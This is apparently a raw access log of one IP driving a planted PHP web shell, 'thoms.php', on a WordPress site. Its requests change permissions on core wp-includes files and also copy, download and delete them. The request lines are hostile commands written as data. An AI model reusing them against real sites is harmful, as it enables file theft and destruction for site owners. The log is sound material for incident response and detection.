45.135.193.11 - - [11/Sep/2026:23:45:42 -0400] "GET /thoms.php?chmod=class-wp-widget-factory.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11534 "http://163.245.207.76:443/thoms.php?chmod=class-wp-widget-factory.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:42 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-http-proxy.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11888 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-http-proxy.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:42 -0400] "GET /booking-wise2.com.tw/wp-includes/icons.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:42 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=http.php HTTP/1.1" 200 19198 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=http.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:42 -0400] "GET /booking-wise2.com.tw/wp-includes/kses.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:42 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fstyle-engine&p= HTTP/1.1" 200 12394 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fstyle-engine&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:42 -0400] "GET /thoms.php?dl=feed.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?dl=feed.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:43 -0400] "GET /thoms.php?chmod=ms-settings.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11536 "http://163.245.207.76:443/thoms.php?chmod=ms-settings.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:43 -0400] "GET /thoms.php?chmod=session.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11533 "http://163.245.207.76:443/thoms.php?chmod=session.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:42 -0400] "GET /thoms.php?del=embed-template.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59404 "http://163.245.207.76:443/thoms.php?del=embed-template.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:43 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes%2Frest-api HTTP/1.1" 200 13881 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes%2Frest-api" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:43 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-paused-extensions-storage.php HTTP/1.1" 200 13340 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-paused-extensions-storage.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:43 -0400] "GET /thoms.php?chmod=compat.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11535 "http://163.245.207.76:443/thoms.php?chmod=compat.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:43 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=formatting.php HTTP/1.1" 200 100320 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=formatting.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:43 -0400] "GET /thoms.php?dl=class-wp-connector-registry.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?dl=class-wp-connector-registry.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:43 -0400] "GET /booking-wise2.com.tw/wp-includes/pluggable-deprecated.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:43 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=load.php HTTP/1.1" 200 30514 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=load.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:43 -0400] "GET /thoms.php?del=class-wp-speculation-rules.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?del=class-wp-speculation-rules.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:44 -0400] "GET /thoms.php?chmod=cache.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11536 "http://163.245.207.76:443/thoms.php?chmod=cache.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:44 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fcomment-template.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11845 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fcomment-template.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:44 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=compat.php HTTP/1.1" 200 18203 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=compat.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:44 -0400] "GET /thoms.php?dl=category.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?dl=category.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:44 -0400] "GET /thoms.php?dl=class-feed.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59378 "http://163.245.207.76:443/thoms.php?dl=class-feed.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:44 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fmedia-template.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11895 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fmedia-template.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:44 -0400] "GET /thoms.php?chmod=rss-functions.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11540 "http://163.245.207.76:443/thoms.php?chmod=rss-functions.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:45 -0400] "GET /booking-wise2.com.tw/wp-includes/block-i18n.json HTTP/1.1" 200 149 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:45 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fsitemaps&p= HTTP/1.1" 200 12410 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fsitemaps&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:45 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-http-encoding.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:44 -0400] "GET /thoms.php?dl=template.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59402 "http://163.245.207.76:443/thoms.php?dl=template.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:45 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-json.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11895 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-json.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:45 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-http-ixr-client.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11888 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-http-ixr-client.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:45 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-textdomain-registry.php HTTP/1.1" 200 15390 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-textdomain-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:45 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=ms-site.php HTTP/1.1" 200 24201 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=ms-site.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:45 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=bookmark.php HTTP/1.1" 200 17037 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=bookmark.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:45 -0400] "GET /thoms.php?chmod=class-walker-category.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11549 "http://163.245.207.76:443/thoms.php?chmod=class-walker-category.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:45 -0400] "GET /thoms.php?del=class-wp-walker.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59374 "http://163.245.207.76:443/thoms.php?del=class-wp-walker.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:45 -0400] "GET /thoms.php?chmod=class-wp-taxonomy.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11531 "http://163.245.207.76:443/thoms.php?chmod=class-wp-taxonomy.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:45 -0400] "GET /thoms.php?dl=class-walker-category-dropdown.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?dl=class-walker-category-dropdown.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:46 -0400] "GET /thoms.php?chmod=embed.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11536 "http://163.245.207.76:443/thoms.php?chmod=embed.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:46 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Frewrite.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11891 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Frewrite.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:46 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fuser.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11886 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fuser.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:46 -0400] "GET /thoms.php?del=date.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?del=date.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:46 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-recovery-mode-cookie-service.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:46 -0400] "GET /thoms.php?chmod=class-wp-block-parser-frame.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11549 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-parser-frame.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:46 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-block-type.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11862 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-block-type.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:46 -0400] "GET /booking-wise2.com.tw/wp-includes/images/ HTTP/1.1" 200 1910 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:46 -0400] "GET /thoms.php?chmod=taxonomy.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11537 "http://163.245.207.76:443/thoms.php?chmod=taxonomy.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:47 -0400] "GET /thoms.php?chmod=class-wp-http-response.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11532 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-response.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:46 -0400] "GET /thoms.php?del=default-filters.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59411 "http://163.245.207.76:443/thoms.php?del=default-filters.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:46 -0400] "GET /thoms.php?del=class-wp-http-requests-response.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59425 "http://163.245.207.76:443/thoms.php?del=class-wp-http-requests-response.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:47 -0400] "GET /thoms.php?del=class-wp-theme-json-schema.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59411 "http://163.245.207.76:443/thoms.php?del=class-wp-theme-json-schema.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:47 -0400] "GET /booking-wise2.com.tw/wp-includes/comment-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:47 -0400] "GET /thoms.php?del=class-wpdb.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?del=class-wpdb.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:47 -0400] "GET /booking-wise2.com.tw/wp-includes/widgets/ HTTP/1.1" 200 1772 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:47 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fdefault-constants.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11886 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fdefault-constants.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:47 -0400] "GET /thoms.php?dl=class.wp-styles.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?dl=class.wp-styles.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:48 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-fatal-error-handler.php HTTP/1.1" 200 14967 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-fatal-error-handler.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:47 -0400] "GET /thoms.php?del=class-wp-block-styles-registry.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59411 "http://163.245.207.76:443/thoms.php?del=class-wp-block-styles-registry.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:48 -0400] "GET /thoms.php?del=class-wp-customize-setting.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?del=class-wp-customize-setting.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:48 -0400] "GET /thoms.php?del=class-wp-post.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59403 "http://163.245.207.76:443/thoms.php?del=class-wp-post.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:48 -0400] "GET /thoms.php?dl=class-wp-text-diff-renderer-inline.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59402 "http://163.245.207.76:443/thoms.php?dl=class-wp-text-diff-renderer-inline.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:48 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fhttps-detection.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11884 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fhttps-detection.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:48 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=blocks.php HTTP/1.1" 200 44445 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=blocks.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:48 -0400] "GET /thoms.php?dl=default-widgets.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59400 "http://163.245.207.76:443/thoms.php?dl=default-widgets.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:49 -0400] "GET /booking-wise2.com.tw/wp-includes/version.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:49 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fpluggable-deprecated.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11891 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fpluggable-deprecated.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:49 -0400] "GET /booking-wise2.com.tw/wp-includes/wp-diff.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:49 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes%2Ftheme-compat HTTP/1.1" 200 14332 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes%2Ftheme-compat" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:49 -0400] "GET /thoms.php?dl=class-wp-theme-json-data.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59402 "http://163.245.207.76:443/thoms.php?dl=class-wp-theme-json-data.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
